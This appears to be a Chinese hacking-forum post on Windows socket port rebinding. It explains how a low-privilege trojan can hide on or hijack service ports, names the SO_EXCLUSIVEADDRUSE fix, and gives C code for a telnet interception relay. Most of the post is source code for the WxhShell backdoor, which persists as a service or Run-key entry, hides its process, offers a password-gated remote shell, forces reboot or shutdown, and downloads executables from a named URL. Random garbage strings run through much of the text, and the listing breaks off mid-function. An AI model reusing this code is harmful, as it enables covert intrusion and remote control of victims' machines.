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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >%H(0G#X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tU0jFBB  
<q&4Y+b  
  saddr.sin_family = AF_INET; }<^QW't_Y  
;EQ7kuJQ?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nJ}@9v F/  
G!+Mu2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y@Ur}  
a}Z+"D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h [@}} 6  
Bo$dIn2_  
  这意味着什么?意味着可以进行如下的攻击: `|2g &Vn  
:DrF)1C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )=VAEQhL-  
1Qw_P('}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sYbmL`{  
.C` YO2,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g`C\pdX"B  
@N ]]Cf>x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K#Zv>x!to  
d( yTz&u)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [ eb k u_  
Sm{> 8e}UE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W{c Z7$d  
>p'{!k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z'7XGO'Lo  
JT&RaFX  
  #include MdN0 Y@Ll  
  #include n,d)Wwe_`y  
  #include w+wtr[;wwL  
  #include    BOWOH  
  DWORD WINAPI ClientThread(LPVOID lpParam);    md,KRE  
  int main() loC~wm%Ql  
  { lQd7p+ 21  
  WORD wVersionRequested; wh)F&@6 R!  
  DWORD ret; 6bPl(.(3  
  WSADATA wsaData; |Sm/s;&c6  
  BOOL val; o{hX?,4i  
  SOCKADDR_IN saddr; A'.=SA2.Y  
  SOCKADDR_IN scaddr; }'*6 A  
  int err; l))Q/8H  
  SOCKET s; !*f$*,=^  
  SOCKET sc; \2]_NU5.  
  int caddsize; w {"1V7|  
  HANDLE mt; -QwH|   
  DWORD tid;   R1*4  
  wVersionRequested = MAKEWORD( 2, 2 ); |B^Mj57DO  
  err = WSAStartup( wVersionRequested, &wsaData ); j8nkNE]&   
  if ( err != 0 ) { ;s;3cC!  
  printf("error!WSAStartup failed!\n"); k(M:#oA!  
  return -1; XT4Gz|k  
  } v`{N0R  
  saddr.sin_family = AF_INET; SZEi+CRs0  
   E7M_R/7@y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I~ :gi@OVV  
4"_`Mu_%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D$7#&2y  
  saddr.sin_port = htons(23); '_^T]fr}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +<j7^AEG  
  { 0|J_'-<  
  printf("error!socket failed!\n"); Q@7d:v  
  return -1; TL)*onA9  
  } B]@25  
  val = TRUE; l#`G4Vf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]8}51y8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6pSi-FH  
  { u*TC8!n  
  printf("error!setsockopt failed!\n"); R(`:~@ 3\6  
  return -1; 76wNZv) 9  
  } A4'5cR9T!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -(t7>s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >mai v;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h693TS_N  
D:;idUO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %IX)+ Lp`  
  { W*t] d  
  ret=GetLastError(); ;4[[T%&v  
  printf("error!bind failed!\n"); \ l#eW x  
  return -1; l6y}>]  
  } z -!w/Bv@  
  listen(s,2); }Nsdk',}  
  while(1) b:D92pH  
  { j/z=<jA  
  caddsize = sizeof(scaddr); B*,)@h  
  //接受连接请求 w?8SQI,~X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1^4:l!0D  
  if(sc!=INVALID_SOCKET) D2?H"PH  
  { /\c'kMAW!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L%T(H<G  
  if(mt==NULL) {]< G=]'  
  { jYFJk&c  
  printf("Thread Creat Failed!\n"); Bchv1KF  
  break; b,E?{uG  
  } 0RT8N=B83  
  } <Gi%+I@szl  
  CloseHandle(mt); A^>@6d $2  
  } y:W6;R  
  closesocket(s); XP:A"WK"  
  WSACleanup(); gvA}s/   
  return 0; 7C|!Wno[;  
  }   x9vSekV  
  DWORD WINAPI ClientThread(LPVOID lpParam) AJbCC  
  { +e-F`k  
  SOCKET ss = (SOCKET)lpParam; 9%"7~YCDas  
  SOCKET sc; 94rSB}b.O  
  unsigned char buf[4096]; z3jk xWAZ  
  SOCKADDR_IN saddr; N/bOl~!y  
  long num; mdWA5p(  
  DWORD val; vR!+ 8sy$  
  DWORD ret; DB5J3r81  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zj1~[$  (  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x b"z%.j  
  saddr.sin_family = AF_INET; 7nek,8b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jYHnJ}<  
  saddr.sin_port = htons(23); YYv0cV{E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dFm_"135  
  { /MGapmqV9  
  printf("error!socket failed!\n"); wq$$. .E  
  return -1; Qt>K{ >9Cf  
  } n#lbfN 4  
  val = 100; a!9'yc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N1a]y/  
  { gQy%T]  
  ret = GetLastError(); b/M/)o!C  
  return -1; yQ$irS?  
  } D&G6^ME  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {821e&r  
  { YThVG0I =  
  ret = GetLastError(); 'J,UKK\5  
  return -1; oY)eN?c  
  } n<.7tr0f\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;@wa\H[3v2  
  { Zhfp>D  
  printf("error!socket connect failed!\n"); :_8K8Sa  
  closesocket(sc);  g\q .  
  closesocket(ss); q+?&w'8  
  return -1; <= 4$.2ym  
  } 16iTE-J_  
  while(1) M|(VM=~  
  { OrkcY39"~a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zg2d}"dV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bhv;l/K])  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _Xf1FzF+a  
  num = recv(ss,buf,4096,0); suN6(p(.  
  if(num>0) 7{#p'.nc5  
  send(sc,buf,num,0); qs]W2{-4~  
  else if(num==0) xV> .]  
  break; [k7( t|Q{  
  num = recv(sc,buf,4096,0); 8W&1"h`  
  if(num>0) /TMVPnvz.  
  send(ss,buf,num,0); 3f`Uoh+  
  else if(num==0) v;(cJ,l  
  break; L4po1  
  } T"g_a|7Tj  
  closesocket(ss); 6s@!Yn|?  
  closesocket(sc); $_<[kci %  
  return 0 ; MXA?rjd0  
  } [G_ ;78  
D$FTnY  
$O|Xq7dp  
========================================================== H k}P  
>!fTWdD^  
下边附上一个代码,,WXhSHELL [vu;B4^"  
=v3o)lU  
========================================================== dp W`e>o  
@1j*\gYz  
#include "stdafx.h" {MtJP:8Jp  
jZ~girA  
#include <stdio.h> w"v96%"Y  
#include <string.h> 3Dr\ O_`u  
#include <windows.h>  l7t  
#include <winsock2.h> y>C !cYB  
#include <winsvc.h> ndQw>  
#include <urlmon.h> p W[TufTa  
M&iXdw&  
#pragma comment (lib, "Ws2_32.lib") / :$WOQ  
#pragma comment (lib, "urlmon.lib") N1Y uLG:  
7^>~k}H  
#define MAX_USER   100 // 最大客户端连接数 UR^r>  
#define BUF_SOCK   200 // sock buffer +=W(c8~P  
#define KEY_BUFF   255 // 输入 buffer pauO_'j_1p  
H7uh"/A  
#define REBOOT     0   // 重启 kiF}+,z"  
#define SHUTDOWN   1   // 关机 ` 0 @m,  
'z9 1aNG]  
#define DEF_PORT   5000 // 监听端口 _E9[4%f  
,L%]}8EL"  
#define REG_LEN     16   // 注册表键长度 m2m ;|rr  
#define SVC_LEN     80   // NT服务名长度 `"~GqFwy~  
` { Ox=+]M  
// 从dll定义API ?jmL4V2-f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <mJ8~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SEnr"}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GN(,`y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1TEKq#t;y  
)W_akUL  
// wxhshell配置信息 sC"w{_D@*4  
struct WSCFG { ~APS_iG[  
  int ws_port;         // 监听端口 ;~1xhpTk  
  char ws_passstr[REG_LEN]; // 口令 oHfr glGX  
  int ws_autoins;       // 安装标记, 1=yes 0=no (<.\v@7HC  
  char ws_regname[REG_LEN]; // 注册表键名 5ms]Wbh)  
  char ws_svcname[REG_LEN]; // 服务名 3Z~_6P^ +N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mdbi@ms@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3 K||(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 me@`;Q3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N~b0b;e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *|q{(KX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |"}7)[BW}  
jc3Q3Th/zn  
}; ^$`mS&3/q  
7`7M4  
// default Wxhshell configuration Ze/\IBd  
struct WSCFG wscfg={DEF_PORT, ml2/}}  
    "xuhuanlingzhe", ES^J RX  
    1, GfSD% "  
    "Wxhshell", ld"rL6  
    "Wxhshell", e2fv%  
            "WxhShell Service", q`8 5-  
    "Wrsky Windows CmdShell Service", e KuF7Oo  
    "Please Input Your Password: ", 0i5S=L`j  
  1, .p Mwa  
  "http://www.wrsky.com/wxhshell.exe", 8 mOGEx  
  "Wxhshell.exe" k&L/Jzz I  
    }; iW2\;}y  
b{&'r~  
// 消息定义模块 v2r|) c,h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Ch ,C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qe!3ae`Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a~R.">>$  
char *msg_ws_ext="\n\rExit."; mcidA%  
char *msg_ws_end="\n\rQuit."; ]Ar,HaX-  
char *msg_ws_boot="\n\rReboot..."; 0nBDF79  
char *msg_ws_poff="\n\rShutdown..."; -Ju;i<  
char *msg_ws_down="\n\rSave to "; MtF^}/0w!`  
XgXXBKf$  
char *msg_ws_err="\n\rErr!"; O> _ F   
char *msg_ws_ok="\n\rOK!"; 1=T;68B  
i`<L#6RBT  
char ExeFile[MAX_PATH]; :+w6i_\d5  
int nUser = 0; R'vNJDFY  
HANDLE handles[MAX_USER]; vgDpo@fz8  
int OsIsNt; j(k%w  
B#`'h~(7  
SERVICE_STATUS       serviceStatus; XM"Qs.E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6WIs*$T2*  
x)Zm5&"Gg  
// 函数声明 m<k6oev$  
int Install(void); =_ j<x$,b-  
int Uninstall(void); !Ea9 fe  
int DownloadFile(char *sURL, SOCKET wsh); r| ]YS6  
int Boot(int flag); hbr3.<o1lY  
void HideProc(void); \ qq  
int GetOsVer(void); 3G<4rH]  
int Wxhshell(SOCKET wsl); ? F!c"+C  
void TalkWithClient(void *cs); k' Fu&r  
int CmdShell(SOCKET sock); RL\?i~'KH  
int StartFromService(void); (C uM*-  
int StartWxhshell(LPSTR lpCmdLine); p_]b=3wt~  
9LBZMQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 01&E.A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F#) bGi  
Og@{6>  
// 数据结构和表定义 ^A=tk!C  
SERVICE_TABLE_ENTRY DispatchTable[] = XjP;O,x  
{ &Ruq8n<  
{wscfg.ws_svcname, NTServiceMain}, @TXLg2  
{NULL, NULL} _emW#*V  
}; .m\0<8C  
6r D]6#D  
// 自我安装 7hu7rWY`E  
int Install(void) )[M:#;,L  
{ %QGw`E   
  char svExeFile[MAX_PATH]; q &{<HcP  
  HKEY key; F&7|`o3  
  strcpy(svExeFile,ExeFile); S-Bx`e9'  
GP %hf{  
// 如果是win9x系统,修改注册表设为自启动 n{etDO  
if(!OsIsNt) { $?k]KD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Z me?o*bY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U1lqg?KO  
  RegCloseKey(key); R?9x!@BV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 6#]P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f.66N9BHL,  
  RegCloseKey(key); |S |'o*u  
  return 0; cL03V?} ~  
    } ]{\M,txo8  
  } )i[Vq|n  
} YOrq)_ l  
else { Fzt?M  
&(32s!qH  
// 如果是NT以上系统,安装为系统服务 >zL5*:G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b.\xPb  
if (schSCManager!=0) q-_!&kDK"  
{ %+Z*-iX  
  SC_HANDLE schService = CreateService  |Nj6RB7  
  ( ybJwFZ80  
  schSCManager, 'x"(OdM:[  
  wscfg.ws_svcname, > l0H)W  
  wscfg.ws_svcdisp, w=rD8 @  
  SERVICE_ALL_ACCESS, XM` H@s7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DU]KD%kl  
  SERVICE_AUTO_START, |rZMcl/  
  SERVICE_ERROR_NORMAL, $8HiX6r  
  svExeFile, xY!ud)  
  NULL, k>.8lc\  
  NULL, vPz7*w  
  NULL, ,J!$Q0e  
  NULL, v}V[sIs}  
  NULL ykPiZK  
  ); "opMS/a"7  
  if (schService!=0)  fCJjFL:  
  { 0NC70+4L  
  CloseServiceHandle(schService); aVc{ aP  
  CloseServiceHandle(schSCManager); $$&.}}.,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hdrsa}{g  
  strcat(svExeFile,wscfg.ws_svcname); \ I523$a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }AJoF41X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )rG4Nga5}  
  RegCloseKey(key); pxd=a!(  
  return 0; ]6)u$4X6$  
    } )(-;H|]?  
  } \'*M }G  
  CloseServiceHandle(schSCManager); ]FTi2B{}H  
} l&qCgw  
} R( FQ+h  
 L1 /`/  
return 1; ^9q#,6  
} uu,F5<y[  
er)I".|  
// 自我卸载 d`B<\Y#{Us  
int Uninstall(void) S\&3t}_  
{  xV5UaD<  
  HKEY key; NBc^(F"  
KBN% TqH|  
if(!OsIsNt) { L8PX SJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #H>{>0q  
  RegDeleteValue(key,wscfg.ws_regname); ~!r;?38V`  
  RegCloseKey(key); `!HD. E[2c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f=R+]XPzz  
  RegDeleteValue(key,wscfg.ws_regname); ^1bslCe   
  RegCloseKey(key); Q]xkDr?   
  return 0; 7 D#y  
  } $Xu3s~:S  
} L4g%o9G  
} gtA34iw  
else { Wx GD*%  
rXX>I;`&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =L" 0]4K  
if (schSCManager!=0) Lau@HYW0  
{ s.}K?)mH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x [FLV8`b|  
  if (schService!=0) xZ9:9/Vg  
  { 2L^)k?9>g+  
  if(DeleteService(schService)!=0) { 3N+lWuE}K  
  CloseServiceHandle(schService); d7X&3L%Oq  
  CloseServiceHandle(schSCManager); sV  
  return 0; .Q*X5Fc  
  } |HAJDhM,l  
  CloseServiceHandle(schService); (G>[A}-  
  } Mn.,?IF`K  
  CloseServiceHandle(schSCManager); GlAI~\A  
} 2nd n8_l  
} cqNK`3:.j  
`@h|+`h  
return 1; my.EvN  
} &[.`xZ(|  
7C{ y NX#  
// 从指定url下载文件 NXY jb(4:  
int DownloadFile(char *sURL, SOCKET wsh) B )r-,M  
{ F1t(P 8  
  HRESULT hr; (CmK> "C+  
char seps[]= "/"; 9B: 3Ha=  
char *token; `C+<! )2  
char *file; #@S%?`4,  
char myURL[MAX_PATH]; )u)=@@k21  
char myFILE[MAX_PATH]; <$(B[T  
L[ G O6l  
strcpy(myURL,sURL); N4!`iS Y  
  token=strtok(myURL,seps); |W">&Rb<t#  
  while(token!=NULL) NI >%v  
  { yw3"jdcl  
    file=token; @X2*O9  
  token=strtok(NULL,seps); Ux [<g%F"  
  } V#t_gS  
y>^^.  
GetCurrentDirectory(MAX_PATH,myFILE); Bh>L"'.2  
strcat(myFILE, "\\"); N@q}eGe  
strcat(myFILE, file); =!O->C:  
  send(wsh,myFILE,strlen(myFILE),0); BX,)G HE  
send(wsh,"...",3,0); Sqo+cZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1o_kY"D<  
  if(hr==S_OK) z^gJy,T  
return 0; AlSO  
else $B+| &]a  
return 1; +eM${JyXH  
tZrc4$D-  
} c7Z4u|G  
p*Bty@CRi  
// 系统电源模块 [4Z 31v>  
int Boot(int flag) 24mdhT|  
{ *sho/[~_  
  HANDLE hToken; T(4d5 fY  
  TOKEN_PRIVILEGES tkp; @fL ^I&++  
g*| j+<:7  
  if(OsIsNt) { $`=p]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KhCP9(A=Qo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gg;r;3u  
    tkp.PrivilegeCount = 1; NWBYpGZx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jcH@*c=%e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !liV Y]  
if(flag==REBOOT) { j]a$RC#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fCl}eXg6w  
  return 0; v\0G`&^1  
} (JhX:1  
else { 8s%/5v"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E_HB[ 9  
  return 0; {Z.6\G&q  
} &c`-/8c  
  } "(koR Q  
  else { (}"D x3K  
if(flag==REBOOT) { "}]`64?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g(DD8;]w<  
  return 0; GN.O a$  
} .b :!qUE^  
else { snV*gSUH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `sxfj)s  
  return 0; <O x[![SR  
} N!A20Bv  
} aD/Rr3v>  
;?6vKpj;  
return 1; OfsP5*d  
} y>{: [L9*  
l/$GF|`U  
// win9x进程隐藏模块 T?9D?u?]  
void HideProc(void) Zw]`z*,yRA  
{ ?5|;3N/zt  
W<Uu.Y{sG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N,ht<l\  
  if ( hKernel != NULL ) f49kf**  
  {  K +7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8$Q`wRt(%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h#rP]o@  
    FreeLibrary(hKernel); LyUn!zV$(  
  } x_PO;  
Pms@!yce  
return; 2FcL-?  
} a"~o'W7  
!+x Q  
// 获取操作系统版本 7GA8sK  
int GetOsVer(void) c0Ug5Vr  
{ ! VwU=5  
  OSVERSIONINFO winfo; <+8'H:wz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }v1wpv/b(  
  GetVersionEx(&winfo);  *7Dba5B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Z)4WGp!  
  return 1; npP C;KD  
  else |9@,ri\'Rg  
  return 0; +vc+9E.?9  
} n `j._G  
# @\3{;{R  
// 客户端句柄模块 *miG<  
int Wxhshell(SOCKET wsl) P \7DA4]  
{ [hJ1]RW8  
  SOCKET wsh; /i+z#q5'  
  struct sockaddr_in client; ]kh]l8t^  
  DWORD myID; $CcjuPsK  
Y#U.9>h  
  while(nUser<MAX_USER) $+eeE  
{ g/?Vl2W  
  int nSize=sizeof(client); _S!^=9bJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -oD,F $Rb  
  if(wsh==INVALID_SOCKET) return 1; {9IRW\kn  
+/OSg.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PA2} 4`  
if(handles[nUser]==0) 2j\_svw'  
  closesocket(wsh); wG3L+[,  
else ^0,}y]5p  
  nUser++; PZ[-a-p40  
  } iUKjCq02  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZlV  
FT).$h~+4  
  return 0; uJ`N'`Z  
} +Z#=z,.^  
.EYL  
// 关闭 socket 5!0iK9O  
void CloseIt(SOCKET wsh) zzG=!JR  
{ |$.?(FZYu  
closesocket(wsh); (6%T~|a  
nUser--; VPCI5mS_  
ExitThread(0); XY0kd&N8  
} *oO%+6nL  
Z;+,hR((  
// 客户端请求句柄 \F _1 C=  
void TalkWithClient(void *cs) tqZ91QpW  
{ "|\hTRQ  
hV3]1E21"  
  SOCKET wsh=(SOCKET)cs; 3s\UU2yr  
  char pwd[SVC_LEN]; 3G// _f  
  char cmd[KEY_BUFF]; -]EL|_;  
char chr[1]; [*%lm9 x  
int i,j; 1N/4W6  
<I,4Kc!  
  while (nUser < MAX_USER) { He_O+[sc  
^Ks1[xc*`  
if(wscfg.ws_passstr) { eDd& vf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DksYKv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ep&`K  
  //ZeroMemory(pwd,KEY_BUFF); (nqhX<T>  
      i=0; \Y xG  
  while(i<SVC_LEN) { -J]?M  
V .Kjcy  
  // 设置超时 \mF-L,yu  
  fd_set FdRead; V``|<`!gd  
  struct timeval TimeOut; pbzt8 P[  
  FD_ZERO(&FdRead); :GvC#2 p  
  FD_SET(wsh,&FdRead); COi15( G2  
  TimeOut.tv_sec=8; -=-^rQx9  
  TimeOut.tv_usec=0; 5N9Cd[4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vy& X1lG:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dcKpsX  
VnuG^)S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eKP >} `  
  pwd=chr[0]; ;v8TT}R  
  if(chr[0]==0xd || chr[0]==0xa) { 5a |R  
  pwd=0; (U\o0LI  
  break; df{?E):  
  } $#^3>u  
  i++; lB}?ey   
    } 5?3v;B6  
f y|JE9Io_  
  // 如果是非法用户,关闭 socket 2<7pe@c98  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <B%wq>4S  
} THl:>s  
]xf89[;0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pyf'_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mI2Gs) SO  
dC<%D'L*  
while(1) { !19T=p/:$  
58?WO}  
  ZeroMemory(cmd,KEY_BUFF); "]^U(m>f  
+@$VJM%^7b  
      // 自动支持客户端 telnet标准   fe\'N4  
  j=0;  -raK  
  while(j<KEY_BUFF) { Qfeu3AT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %X\J%Fj  
  cmd[j]=chr[0]; xb7!!PR  
  if(chr[0]==0xa || chr[0]==0xd) { B^19![v3T  
  cmd[j]=0; "eoPG#]&  
  break; W}F~vx.  
  } '>[ZfT  
  j++; HF*~bL  
    } }P=FMme{F(  
pg!mOyn  
  // 下载文件 W)`>'X`  
  if(strstr(cmd,"http://")) { OL=X&Vaf<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '>OEQU5-  
  if(DownloadFile(cmd,wsh)) /&?ei*z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2aUj(Zs=  
  else @"cnPLh&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &2@"zD  
  } AsS~TLG9p  
  else { d+Mogku2  
qZQm*q(jM  
    switch(cmd[0]) { yR F+  
  6 y"r '  
  // 帮助 GDj_+G;tO\  
  case '?': { $sL+k 'dY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ILNghtm-  
    break; -8:O?]+Q/  
  } E=v4|/['N  
  // 安装 +Km xo4p  
  case 'i': { i(u zb<  
    if(Install()) C _W]3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yl<=_Q  
    else Ty 6XU!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZQ!~  
    break; PzjIM!>  
    } Nf~B 1vkp  
  // 卸载 PHsM)V+  
  case 'r': { Z,3CMWHg  
    if(Uninstall()) #.j:P#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { F0"U=  
    else Yk4ah$}%-^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $YBH;^#  
    break; p8y<:8I  
    } X bV?=  
  // 显示 wxhshell 所在路径 n[-d~Ce2{  
  case 'p': { d[(%5pw~zL  
    char svExeFile[MAX_PATH]; ? !34qh  
    strcpy(svExeFile,"\n\r");  GwD"j]  
      strcat(svExeFile,ExeFile); F fzY3r+   
        send(wsh,svExeFile,strlen(svExeFile),0); yErvgf  
    break; KueI*\ p  
    } _*(:6,8  
  // 重启 Z}O0DfT;  
  case 'b': { {*|$@%y!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ku5g`ho  
    if(Boot(REBOOT)) vCR\lR+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :;x#qtv~Iz  
    else { V> eJ  
    closesocket(wsh); H% c{ }F  
    ExitThread(0); H Lt;1:b  
    } 7w"YCRKh  
    break; p4zV<qZ>e  
    } qo;F]v*pkK  
  // 关机 i `8Y/$aT  
  case 'd': { |Oaj Jux  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T\HP5&  
    if(Boot(SHUTDOWN)) HYk*;mD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)4D$9:  
